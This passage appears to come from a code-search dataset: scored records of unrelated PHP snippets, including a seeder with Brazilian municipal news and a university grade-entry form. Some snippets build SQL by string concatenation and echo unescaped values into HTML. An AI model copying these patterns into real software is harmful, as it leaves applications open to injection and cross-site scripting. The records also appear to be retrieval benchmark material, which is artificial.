ou jurídica, que, de qualquer forma, infringir o disposto nesta lei, ou não prevenir ou impedir o cometimento da infração por terceiros em sua propriedade, ficará sujeito às seguintes penalidades:\n\nI - Infração ao art. 2º, § 1º, inciso I: multa de 100 UFEMG’s, (Unidade Fiscal do Estado de Minas Gerais) para cada 120,00m2 (cento e vinte metros quadrados) de terreno, ou fração;\n\nII - Infração ao art. 2º, § 1º, inciso II: multa de 150 UFEMG’s, (Unidade Fiscal do Estado de Minas Gerais) para cada 120,00m2 (cento e vinte metros quadrados) de terreno, ou fração;\n\nIII - Infração ao art. 2º, § 1º, inciso III: multa 200 UFEMG’s, (Unidade Fiscal do Estado de Minas Gerais) para cada 120,00m2 (cento e vinte metros quadrados) de terreno, ou fração;\n\nIV - Infração ao art. 3º: multa 200 UFEMG’s, (Unidade Fiscal do Estado de Minas Gerais) para cada 120,00m2 (cento e vinte metros quadrados) de terreno, ou fração;\n\n§ 1º. As infrações cometidas no horário compreendido entre as 18h00m (dezoito horas) de um dia e as 06h00m (seis horas) do dia seguinte, bem como as cometidas aos sábados, domingos e feriados, serão apenadas com o valor da multa aplicado em dobro.\n\n§ 2º. Havendo concorrência de infrações, será aplicada a multa mais gravosa para cada infração.\n\n§ 3º. Reincidindo o infrator no cometimento de qualquer infração prevista nesta lei, no período de 3 (três) anos contados da última autuação, será aplicada a multa em dobro, a cada nova infração, sobre o valor da última multa.\n\n§ 4º. Em casos de incêndio criminoso, praticado por pessoa distinta do proprietário do imóvel, este somente se eximirá do pagamento da multa com a apresentação de requerimento/defesa e Boletim de Ocorrência Policial que relate o fato.\n\n§ 5º. A aplicação das multas previstas nesta lei não exonera o infrator das demais cominações civis ou penais cabíveis.\n\n§ 6º. As multas deverão ser recolhidas pelo infrator no prazo de 30 (trinta) dias, contados da lavratura do auto de infração.\n\nArt. 5º. Será considerado infrator, na forma desta lei, o executor da queimada.\n\nParágrafo único. Respondem solidariamente com o infrator, na seguinte ordem, conforme o caso:\n\nI - O mandante;\n\nII - quem estiver na posse direta do imóvel;\n\nIII - o proprietário do imóvel;\n\nIV - quem, por qualquer forma, concorrer para o cometimento da infração.\n\nArt. 6º. A defesa do autuado far-se-á por requerimento dirigido a Coordenadoria de Meio Ambiente.\n\nArt. 7º. Caberá ao Executivo a fiscalização e a realização de ampla campanha educativa acerca dos efeitos desta lei.\n\nArt. 8º. Aplica-se subsidiariamente na execução desta lei, naquilo que couber, notadamente quanto à autuação, defesa do autuado e prazos, as disposições contidas na LEI FEDERAL Nº 9.605, DE 12 DE FEVEREIRO DE 1998.\n\nArt. 9º. As despesas com a execução desta lei correrão por conta das dotações próprias do orçamento vigente.\n\nArt. 10 . Esta lei entra em vigor na data de sua publicação.\n\nFlorestal, 28 de junho de 2016.\n\n\n\nInformativo Patrocinado pela Copiadora Florestal\nR. Benedito Valadares, 602 - Centro - Florestal';\n $noticia->autor = 1;\n $noticia->pasta = 1;\n $noticia->f_ou_v = 0;\n $noticia->endereco = 'aaa.jpeg';\n $noticia->save();\n \n\n \n\n $noticia = new Noticia;\n $noticia->titulo = '- Curso gratuito de corte e costura com parceria do SENAR';\n $noticia->texto_noticia = 'Incrições abertas \n\nCom certificado\n\nVagas limitadas\n\nO curso será ofertado do dia 12/03 ao dia 19/03 em período integral.\n\nInscrições no CRAS Florestal.\n\nHorário: 08:30hs às 11:00hs e de 13:30 às 16:00hs\n\n\n\nÉ necessário ter a máquina de costura\n\nInformações: (31)3536-3089\n\n\nInformativo Patrocinado pela Papelaria Clips.com';\n $noticia->autor = 15;\n $noticia->pasta = 2;\n $noticia->f_ou_v = 0;\n $noticia->endereco = '--curso-gratuito-de-corte-e-costura-com-parceria-do-s-e-n-a-r2018-11-14.jpeg';\n $noticia->save();\n\n \n $noticia = new Noticia;\n $noticia->titulo = 'Ottoni Solidário';\n $noticia->texto_noticia = 'Nosso evento Ottoni Solidário não possui fins lucrativos. \n\nTodo dinheiro doado Será 100% convertido em gastos com comunidade de Florestal.\n\nO objetivo é levar às pessoas carentes conhecimento, cultura e lazer com qualidade e de forma gratuita.\n\nToda contribuição é bem vinda.\n\nVocês podem contribuir com trabalho voluntário.\n\nMaterial ou dinheiro para investirmos na estrutura.\n\nCom a valorosa presença e o prestígio de vocês para garantir o sucesso do evento e nos incentivar a continuar.\n\nOs empresários que desejarem ajudar serão divulgados em nossas mídias sociais e durante o evento.\n\nVamos juntos por uma Florestal mais humana e solidária!';\n $noticia->autor = 7;\n $noticia->pasta = 5;\n $noticia->f_ou_v = 0;\n $noticia->endereco = 'ottoni-solidário2018-11-14.jpeg';\n $noticia->save();\n\n $noticia = new Noticia;\n $noticia->titulo = 'Petrobras anuncia reajuste nos preços do GLP industrial';\n $noticia->texto_noticia = 'A Petrobras decidiu reajustar os preços de comercialização às distribuidoras do GLP destinado aos usos industrial e comercial, no percentual médio de 5,3% e vigência a partir de amanhã (2/12).\n\nA alteração se faz necessária devido ao aumento das cotações internacionais do produto, que acompanharam a alta do Brent.\n\nA Petrobras esclarece que este reajuste não se aplica aos preços de GLP destinado ao uso residencial, comercializado pelas distribuidoras em botijões de até 13kg (conhecido como P13 ou gás de cozinha).\n\nA Petrobras informa ainda que as futuras mudanças nos preços do GLP voltado aos segmentos industrial e comercial nas refinarias estão sendo informadas também por meio do site da companhia.\n\n\n\nFonte: http://agenciapetrobras.com.br/Materia/ExibirMateria?p_materia=979843\n\n\n\n\n\nInformativo patrocinado pela empresa:\nGás Florestal ( gás do Paulo)';\n $noticia->autor = 1;\n $noticia->pasta = 1;\n $noticia->f_ou_v = 0;\n $noticia->endereco = 'petrobras-anuncia-reajuste-nos-preços-do-g-l-p-industrial2018-11-14.jpeg';\n $noticia->save();\n\n }", "title": "" }, { "docid": "419492edbafc85589e94a96f18c6c4d7", "score": "0.49377498", "text": "function verificaTrabajos(){\n \n $sql = 'SELECT `calificacion` FROM `trabajos_cargados` WHERE `id_usuario` = '.$_SESSION['id_usuario'] . ' AND id_curso = '.$this->idCurso;\n $res = $this->Consulta($sql);\n $mensaje = '';\n $pasa = 1;\n if( is_array($res) && count($res) ){\n if( $res[0]['calificacion'] ===null ){\n $pasa = 0;\n $mensaje = 'El trabajo enviado a&uacute;n no ha sido calificado';\n }\n elseif( !$res[0]['calificacion'] ){\n $mensaje = 'El trabajo no fue aprobado, vuelve a intentarlo';\n $pasa = 1;\n }\n else{\n $mensaje = 'Felicitaciones, tu trabajo ha sido calificado y aceptado por DNA';\n $pasa = 0;\n } \n }\n return array($pasa,$mensaje);\n }", "title": "" }, { "docid": "13f1c39e9beb272e7d1b16bb91ab8dc2", "score": "0.4934806", "text": "public function mis_notificados_al_mes_unidad($proy_id){\n $tabla='';\n $requerimientos=$this->model_notificacion->list_requerimiento_mes_unidad($proy_id,$this->verif_mes[1]);\n $dato_mes = $this->verif_mes;\n\n $tabla.='<div style=\"font-size: 12px;font-family: Arial;height:20px;\">\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n ITEMS PROGRAMADOS A CERTIFICAR\n </div>';\n $tabla.='<table border=\"0.2\" cellpadding=\"0\" cellspacing=\"0\" class=\"tabla\" style=\"width:100%;\" align=\"center\">\n <thead>\n <tr class=\"modo1\" align=\"center\">\n <th style=\"width:2%; background-color: #1c7368; color: #FFFFFF\">#</th>\n <th style=\"width:17%; background-color: #1c7368; color: #FFFFFF\">SERVICIO / COMPONENTE</th>\n <th style=\"width:5%; background-color: #1c7368; color: #FFFFFF\">COD. ACT.</th>\n <th style=\"width:5%; background-color: #1c7368; color: #FFFFFF\">PARTIDA</th>\n <th style=\"width:40%; background-color: #1c7368; color: #FFFFFF\">DETALLE REQUERIMIENTO</th>\n <th style=\"width:15%; background-color: #1c7368; color: #FFFFFF\">OBSERVACI&Oacute;N</th>\n <th style=\"width:10%; background-color: #1c7368; color: #FFFFFF\">MONTO PROGRAMADO</th>\n </tr>\n </thead>\n <tbody>';\n $nro=0;$sum=0;\n foreach($requerimientos as $pr){\n $verif_cert=$this->model_certificacion->get_mes_certificado($pr['tins_id']);\n if(count($verif_cert)==0){\n $nro++;\n $tabla.=\n '<tr class=\"modo1\">\n <td style=\"width: 2%;\" style=\"height:11px;\" align=\"center\">'.$nro.'</td>\n <td style=\"width: 17%; font-size: 8px;\" align=\"left\"><b>'.$pr['com_componente'].'</b></td>\n <td style=\"width: 5%; font-size: 9.5px;\" align=\"center\"><b>'.$pr['prod_cod'].'</b></td>\n <td style=\"width: 5%; font-size: 9.5px;\" align=\"center\"><b>'.$pr['par_codigo'].'</b></td>\n <td style=\"width: 40%;\">'.$pr['ins_detalle'].'</td>\n <td style=\"width: 15%;\">'.$pr['ins_observacion'].'</td>\n <td style=\"width: 10%;\"align=\"right\">'.number_format($pr['ipm_fis'], 2, ',', '.').'</td>\n </tr>';\n $sum=$sum+$pr['ipm_fis'];\n }\n }\n $tabla.=' </tbody>\n <tr>\n <td colspan=6 align=\"right\" style=\"height:11px;\"><b>TOTAL</b></td>\n <td align=\"right\"><b>'.number_format($sum, 2, ',', '.').'</b></td>\n </tr>\n </table>';\n\n return $tabla;\n }", "title": "" }, { "docid": "5a1f99f5cbf6ebc540dfc58bd73f2629", "score": "0.49309176", "text": "function modificarInclucionGeneracionCalendarioUniCons(){\n\t\t$this->procedimiento='gem.f_uni_cons_ime';\n\t\t$this->transaccion='GEM_TUCGENCAL_MOD';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_uni_cons','id_uni_cons','int4');\n\t\t$this->setParametro('incluir_calgen','incluir_calgen','boolean');\n\t\t\n\t\t\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "title": "" }, { "docid": "4533df15d47a34eebccf2fc222e28197", "score": "0.4930898", "text": "function pmb_ids_notices_nouveautes($debut, $nombre) {\n\t$contexte = array();\n\tif (!$debut) {\n\t\t$debut = 0;\n\t}\n\t$contexte['debut'] = $debut;\n\tif ($nombre) {\n\t\t$contexte['nombre'] = $nombre;\n\t}\n\t$ids = explode(',', trim(recuperer_fond('public/pmb_nouveautes', $contexte)));\n\treturn $ids;\n}", "title": "" }, { "docid": "10a76107673a0f333b916a2a67f170ca", "score": "0.49242124", "text": "function digitarNotasPregrado($configuracion)\n\t{\n\t\t\n\t\tif($this->usuario)\n\t\t{\n\t\t\t$usuario=$this->usuario;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$usuario=$this->identificacion;\n\t\t}\n\t\tif($usuario==\"\")\n\t\t{\n\t\t\techo \"¡SU SESION HA EXPIRADO, INGRESE NUEVAMENTE!\",\n\t\t\tEXIT;\n\t\t}\t\t\t\t\n\t\t$calendario=$this->validaCalendario(\"\",$configuracion);\n\t\t//$observaciones=$this->notasobservaciones();guardarNotas\n\t\t$valor[0]=$usuario;\n\t\t$valor[1]=$_REQUEST['asig'];\n\t\t$valor[2]=$_REQUEST['grupo'];\n\t\t$valor[3]=$_REQUEST['carrera'];\n\t\t$valor[4]=$_REQUEST['nivel'];\n\n\t\t$cadena_sql=$this->sql->cadena_sql($configuracion,$this->accesoOracle, \"carreras\",$valor);\n\t\t$resultCarreras=$this->ejecutarSQL($configuracion, $this->accesoOracle, $cadena_sql, \"busqueda\"); \n\t\t$cuenta=count($resultCarreras);\n\n\t\t$cadena_sql=$this->sql->cadena_sql($configuracion,$this->accesoOracle, \"acasperieventos\",$valor);\n\t\t$resultado=$this->ejecutarSQL($configuracion, $this->accesoOracle, $cadena_sql, \"busqueda\"); \n\t\t$cuentaR=count($resultado); \n\t\t\n\t\t$valor[10]=$_REQUEST['periodo'];\n\t\t\n\t\t$cadena_sql=$this->sql->cadena_sql($configuracion,$this->accesoOracle,\"anioper\",$valor);\n\t\t$resultAnioPer=$this->ejecutarSQL($configuracion, $this->accesoOracle, $cadena_sql, \"busqueda\");\n\t\t$ano=$resultAnioPer[0][0];\n\t\t$per=$resultAnioPer[0][1];\n\t\t\t\t\n\t\t$valor[5]=$ano;\n\t\t$valor[6]=$per;\n\t\t\t\t\n\t\t$verifica=$this->sql->cadena_sql($configuracion,$this->accesoOracle, \"notasparciales\",$valor);\n\t\t$resultverifica=$this->ejecutarSQL($configuracion, $this->accesoOracle, $verifica, \"busqueda\");\n\t\t$valor[7]=count($resultverifica);\n\t\t//echo \"<br>nnn\".$cuenta.\"<br>\";\n\t\t\n\t\t$cadena_sql=$this->sql->cadena_sql($configuracion,$this->accesoOracle,\"fechaactual\",'');\n\t\t$rowfechoy=$this->ejecutarSQL($configuracion, $this->accesoOracle, $cadena_sql, \"busqueda\");\n\t\t$fechahoy = $rowfechoy[0][0];\n\t\t\n\t\t$cadena_sql=$this->sql->cadena_sql($configuracion,$this->accesoOracle,\"fechasDigNotas\",$valor);\n\t\t$rowfecnot=$this->ejecutarSQL($configuracion, $this->accesoOracle, $cadena_sql, \"busqueda\");\n\t\t$cuenta=count($rowfecnot);\n\t\t\n\t\t$confechas=$this->sql->cadena_sql($configuracion,$this->accesoOracle,\"validaFechas\",$valor);\n\t\t$rowfechas=$this->ejecutarSQL($configuracion, $this->accesoOracle, $confechas, \"busqueda\");\n\t\t$fecini = $rowfechas[0][0];\n\t\t$fecfin = $rowfechas[0][1];\n\t\t$fecha = $rowfechas[0][2];\n\t\t\n\t\t$cadena_sql=$this->sql->cadena_sql($configuracion,$this->accesoOracle,\"notasobs\",$valor);\n\t\t$rowobs=$this->ejecutarSQL($configuracion, $this->accesoOracle, $cadena_sql, \"busqueda\");\n\t\t$tab='1';\n\t\t?><form enctype='multipart/form-data' method='POST' action='index.php' name='<? echo $this->formulario?>'>\n <input type='hidden' name='nivel' value='<? echo $valor[4]?>'>\n <input type='hidden' name='action' value='<? echo $this->formulario ?>'>\n <input type='hidden' name='asig' value='<? echo $valor[1] ?>'>\n <input type='hidden' name='grupo' value='<? echo $valor[2] ?>'>\n <input type='hidden' name='periodo' value='<? echo $valor[10] ?>'>\n <input type='hidden' name='cra' value='<? echo $resultverifica[0][33] ?>'>\n <input type='hidden' name='periodo' value='<? echo $valor[10] ?>'>\n <input type='hidden' name='cuenta' value='<? echo $valor[7] ?>'>\n <input type='hidden' name='opcion' value='grabar'>\n\n\t\t\t<table width=\"100%\" align=\"center\" border=\"0\" cellpadding=\"10\" cellspacing=\"0\">\n\t\t\t\t<tr>\n\t\t\t\t\t<td>\t\n\t\t\t\t\t\t<table class=\"formulario\" align=\"center\">\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t<td class=\"cuadro_brown\" colspan=\"5\">\n\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\t\t\t\t\t<li> Para calcular el acumulado, las definitivas o imprimir el listado, por favor grabe las notas digitadas.</li>\n\t\t\t\t\t\t\t\t\t\t\t<li> La suma de los porcentajes 1, 2, 3 , 4, 5, 6 y LAB, no debe superar el 70%.</li>\n\t\t\t\t\t\t\t\t\t\t\t<li> El 100% de los porcentajes se calcula con la suma de los porcentajes, mas el porcentaje del ex&aacute;men que corresponde al 30%.</li>\n \t\t\t\t\t\t\t\t\t\t\t<li> En caso de modificación de notas o porcentajes de las mismas, no olvide grabar.</li>\n\t\t\t\t\t\t\t\t\t\t\t<li> Se informa a los docentes que para poder realizar la autoevaluación docentes, deben registrar la totalidad de las notas en el sistema, incluyendo la nota del exámen, la cual es obligatoria. Para los estudiantes que no tengan calificaciones, se les debe registrar la nota con valor 0, excepto en la casilla de la habilitación.</li>\n\t\t\t\t\t\t\t\t\t\t\t<li> El n&uacute;mero de fallas no se tiene en cuenta para el c&aacute;lculo del acumulado ni de la nota definitiva.</li>\n\t\t\t\t\t\t\t\t\t\t\t<li> En las notas digite siempre un n&uacute;mero entero. Ejemplo: Para 0.5 digite 5 - Para 5,0 digite 50. Para 3,7 digite 37.</li>\n\t\t\t\t\t\t\t\t\t\t\t<li> La columna correspondiente a OBS (observaciones), es &uacute;nicamente para notas cualitativas, por lo tanto no debe digitar notas cuantitativas, ya que no se calcular&aacute; la nota definitiva.</li>\n\t\t\t\t\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class=\"cuadro_color\">\n\t\t\t\t\t\t\t\t<?\n\t\t\t\t\t\t\t\t$cadena_sql=$this->sql->cadena_sql($configuracion,$this->accesoOracle,\"fechasDigNotas\",$valor);\n\t\t\t\t\t\t\t\t$reg2=$this->ejecutarSQL($configuracion, $this->accesoOracle, $cadena_sql, \"busqueda\");\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t$fechas_capturaNotas='Fechas l&iacute;mites para captura de notas <br><br> Porcentaje 1: '.$reg2[0][2].'<br> Porcentaje 2: '.$reg2[0][4].'<br> Porcentaje 3: '.$reg2[0][6].'<br> Porcentaje 4: '.$reg2[0][8]\n\t\t\t\t\t\t\t\t.'<br> Porcentaje 5: '.$reg2[0][10].'<br> Porcentaje 6: '.$reg2[0][12].'<br> Ex&aacute;men: '.$reg2[0][16].'<br> Habilitaci&oacute;n: '.$reg2[0][18].'<br><br>Haga Click para ver m&aacute;s <br>';\n\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t<td align=\"center\" valign=\"middle\" colspan=\"5\" onmouseover=\"toolTip('<BR><?echo $fechas_capturaNotas;?>&nbsp;&nbsp;&nbsp;',this)\" >\n\t\t\t\t\t\t\t\t\t<div class=\"centrar\">\n\t\t\t\t\t\t\t\t\t\t<span id=\"toolTipBox\" width=\"300\" ></span>\n\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t<?\n\t\t\t\t\t\t\t\t\tinclude_once($configuracion[\"raiz_documento\"].$configuracion[\"clases\"].\"/encriptar.class.php\");\n\t\t\t\t\t\t\t\t\tinclude_once($configuracion[\"raiz_documento\"].$configuracion[\"clases\"].\"/navegacion.class.php\");\n\t\t\t\t\t\t\t\t\t$total=count($resultado);\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tsetlocale(LC_MONETARY, 'en_US');\n\t\t\t\t\t\t\t\t\t$indice=$configuracion[\"host\"].$configuracion[\"site\"].\"/index.php?\";\n\t\t\t\t\t\t\t\t\t$cripto=new encriptar();\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\techo \"<a href='\";\n\t\t\t\t\t\t\t\t\t$variable=\"pagina=registro_notasDocente\";\n\t\t\t\t\t\t\t\t\t$variable.=\"&opcion=verfechas\";\n\t\t\t\t\t\t\t\t\t$variable.=\"&asig=\".$valor[1];\n\t\t\t\t\t\t\t\t\t$variable.=\"&grupo=\".$valor[2];\n\t\t\t\t\t\t\t\t\t$variable.=\"&carrera=\".$valor[3];\n\t\t\t\t\t\t\t\t\t$variable.=\"&nivel=\".$valor[4];\n\t\t\t\t\t\t\t\t\t$variable.=\"&periodo=\".$valor[10];\n\t\t\t\t\t\t\t\t\t//$variable.=\"&no_pagina=true\";\n\t\t\t\t\t\t\t\t\t$variable=$cripto->codificar_url($variable,$configuracion);\n\t\t\t\t\t\t\t\t\techo $indice.$variable.\"'\";\n\t\t\t\t\t\t\t\t\t//echo \"title='Haga Click aqu&iacute; para ver fechas de digitaci&oacute;n de notas'>\";\n\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t<center>\n\t\t\t\t\t\t\t\t\t<b>Ver fechas de captura de notas</b>\n\t\t\t\t\t\t\t\t\t</center>\n\t\t\t\t\t\t\t\t\t</a>\n\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class=\"texto_subtitulo\">\n\t\t\t\t\t\t\t\t<td class=\"\" colspan=\"5\" align=\"center\">\n\t\t\t\t\t\t\t\t\t<p><span class=\"texto_negrita\">CAPTURA DE NOTAS PARCIALES <? echo $valor[4].' PERIODO '.$ano.'-'.$per; ?> </span></p>\n\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class=\"cuadro_color\">\n\t\t\t\t\t\t\t\t<?\n\t\t\t\t\t\t\t\techo '<td class=\"\" align=\"left\">'.$resultverifica[0][4].'</td>\n\t\t\t\t\t\t\t\t<td class=\"\" >'.$resultverifica[0][5].'</td>\n\t\t\t\t\t\t\t\t<td class=\"\" align=\"center\"><b>Grupo</b></td>\n\t\t\t\t\t\t\t\t<td class=\"\" align=\"center\"><b>Inscritos</b></td>\n\t\t\t\t\t\t\t\t<td class=\"\" align=\"center\"><b>Periodo</b></td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class=\"cuadro_color\">\n\t\t\t\t\t\t\t\t<td class=\"\" align=\"left\">'.$resultverifica[0][0].'</td>\n\t\t\t\t\t\t\t\t<td class=\"\" align=\"left\">'.$resultverifica[0][1].'</td>\n\t\t\t\t\t\t\t\t<td class=\"\" align=\"center\">'.$resultverifica[0][6].'</td>\n\t\t\t\t\t\t\t\t<td class=\"\" align=\"center\">'.$resultverifica[0][32].'</td>\n\t\t\t\t\t\t\t\t<td class=\"\" align=\"center\">'.$resultverifica[0][2].'-'.$resultverifica[0][3].'</td>';\n\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class=\"bloquecentralcuerpo\">\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t</table>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<table class=\"formulario\" align=\"center\">\n\t\t\t\t\t\t\t<tr class=\"texto_subtitulo\">\n\t\t\t\t\t\t\t\t<td colspan=\"15\" align=\"center\">\n\t\t\t\t\t\t\t\t\t<p><span class=\"texto_negrita\">Captura de porcentajes</span></p>\n\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class=\"cuadro_color\">\n\t\t\t\t\t\t\t\t<td colspan=\"2\" class=\"cuadro_plano centrar\"></td>\n\t\t\t\t\t\t\t\t<td colspan=\"7\" class=\"cuadro_plano centrar\">Porcentajes 1 - 6 + LAB</td>\n\t\t\t\t\t\t\t\t<td class=\"cuadro_plano centrar\">EXA</td>\n\t\t\t\t\t\t\t\t<td class=\"cuadro_plano centrar\">HAB</td>\n\t\t\t\t\t\t\t\t<td class=\"cuadro_plano centrar\">&nbsp;&nbsp;&nbsp;</td>\n\t\t\t\t\t\t\t\t<td class=\"cuadro_plano centrar\">&nbsp;&nbsp;&nbsp;</td>\n\t\t\t\t\t\t\t\t<td class=\"cuadro_plano centrar\">&nbsp;&nbsp;&nbsp;</td>\n\t\t\t\t\t\t\t\t<td class=\"cuadro_plano centrar\">SUM</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class=\"formulario\">\n\t\t\t\t\t\t\t\t<td colspan=\"2\"> </td>\n\t\t\t\t\t\t\t\t<td class=\"cuadro_plano centrar\" align=\"center\" colspan=\"7\">70%</td>\n\t\t\t\t\t\t\t\t<td align=\"center\">30%</td>\n\t\t\t\t\t\t\t\t<td align=\"center\">70%</td>\n\t\t\t\t\t\t\t\t<td align=\"center\">&nbsp;&nbsp;&nbsp;</td>\n\t\t\t\t\t\t\t\t<td align=\"center\">&nbsp;&nbsp;&nbsp;</td>\n\t\t\t\t\t\t\t\t<td align=\"center\">&nbsp;&nbsp;&nbsp;</td>\n\t\t\t\t\t\t\t\t<td align=\"center\">100%</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class=\"cuadro_color\">\n\t\t\t\t\t\t\t\t<td colspan=\"2\"> </td>\n\t\t\t\t\t\t\t\t<td class=\"cuadro_plano centrar\" align=\"center\" colspan=\"3\">Corte 1</td>\n\t\t\t\t\t\t\t\t<td class=\"cuadro_plano centrar\" align=\"center\" colspan=\"4\">Corte 2</td>\n\t\t\t\t\t\t\t\t<td align=\"center\"></td>\n\t\t\t\t\t\t\t\t<td align=\"center\"></td>\n\t\t\t\t\t\t\t\t<td align=\"center\">&nbsp;&nbsp;&nbsp;</td>\n\t\t\t\t\t\t\t\t<td align=\"center\">&nbsp;&nbsp;&nbsp;</td>\n\t\t\t\t\t\t\t\t<td align=\"center\">&nbsp;&nbsp;&nbsp;</td>\n\t\t\t\t\t\t\t\t<td align=\"center\"></td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class=\"cuadro_color\">\n\t\t\t\t\t\t\t\t<td colspan=\"2\" class=\"cuadro_plano centrar\">Porcentaje de Notas</td>\n\t\t\t\t\t\t\t\t<td class=\"cuadro_plano centrar\">%1</td>\n\t\t\t\t\t\t\t\t<td class=\"cuadro_plano centrar\">%2</td>\n\t\t\t\t\t\t\t\t<td class=\"cuadro_plano centrar\">%3</td>\n\t\t\t\t\t\t\t\t<td class=\"cuadro_plano centrar\">%4</td>\n\t\t\t\t\t\t\t\t<td class=\"cuadro_plano centrar\">%5</td>\n\t\t\t\t\t\t\t\t<td class=\"cuadro_plano centrar\">%6</td>\n\t\t\t\t\t\t\t\t<td class=\"cuadro_plano centrar\">LAB</td>\n\t\t\t\t\t\t\t\t<td class=\"cuadro_plano centrar\">EXA</td>\n\t\t\t\t\t\t\t\t<td class=\"cuadro_plano centrar\">HAB</td>\n\t\t\t\t\t\t\t\t<td class=\"cuadro_plano centrar\">&nbsp;&nbsp;&nbsp;</td>\n\t\t\t\t\t\t\t\t<td class=\"cuadro_plano centrar\">&nbsp;&nbsp;&nbsp;</td>\n\t\t\t\t\t\t\t\t<td class=\"cuadro_plano centrar\">&nbsp;&nbsp;&nbsp;</td>\n\t\t\t\t\t\t\t\t<td class=\"cuadro_plano centrar\">SUM</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class=\"formulario\">\n\t\t\t\t\t\t\t\t<td colspan=\"2\" align=\"center\"> </td>\n\t\t\t\t\t\t\t\t<?\n\t\t\t\t\t\t\t\tif(($fechahoy < $rowfecnot[0][1]) || ($fechahoy > $rowfecnot[0][2]) || ($rowfecnot[0][1] == \" \") || ($rowfecnot[0][2] == \" \") || ($fechahoy > $rowfecnot[0][19])){\n\t\t\t\t\t\t\t\t\techo '<td align=\"center\">'.$resultverifica[0][11].'</td>\n\t\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"par1\" id=\"par1\" value=\"'.$resultverifica[0][11].'\">';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\techo '<td width=\"25\" align=\"center\"><input type=\"text\" name=\"p1\" id=\"p1\" value=\"'.$resultverifica[0][11].'\" maxlength=\"2\" size=\"1\" style=\"text-align:right\"></td>';\t\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif(($fechahoy < $rowfecnot[0][3]) || ($fechahoy > $rowfecnot[0][4]) || ($rowfecnot[0][3] == \" \") || ($rowfecnot[0][4] == \" \") || ($fechahoy > $rowfecnot[0][19]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\techo '<td align=\"center\">'.$resultverifica[0][13].'</td>\n\t\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"par2\" id=\"par2\" value=\"'.$resultverifica[0][13].'\">';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\techo '<td width=\"25\" align=\"center\"><input type=\"text\" name=\"p2\" id=\"p2\" value=\"'.$resultverifica[0][13].'\" maxlength=\"2\" size=\"1\" style=\"text-align:right\"></td>';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif(($fechahoy < $rowfecnot[0][5]) || ($fechahoy > $rowfecnot[0][6]) || ($rowfecnot[0][5] == \" \") || ($rowfecnot[0][6] == \" \") || ($fechahoy > $rowfecnot[0][19]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\techo '<td align=\"center\">'.$resultverifica[0][15].'</td>\n\t\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"par3\" id=\"par3\" value=\"'.$resultverifica[0][15].'\">';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\techo '<td width=\"25\" align=\"center\"><input type=\"text\" name=\"p3\" id=\"p3\" value=\"'.$resultverifica[0][15].'\" maxlength=\"2\" size=\"1\" style=\"text-align:right\"></td>';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif(($fechahoy < $rowfecnot[0][7]) || ($fechahoy > $rowfecnot[0][8]) || ($rowfecnot[0][7] == \" \") || ($rowfecnot[0][8] == \" \") || ($fechahoy > $rowfecnot[0][19]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\techo '<td align=\"center\">'.$resultverifica[0][17].'</td>\n\t\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"par4\" id=\"par4\" value=\"'.$resultverifica[0][17].'\">';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\techo '<td width=\"25\" align=\"center\"><input type=\"text\" name=\"p4\" id=\"p4\" value=\"'.$resultverifica[0][17].'\" maxlength=\"2\" size=\"1\" 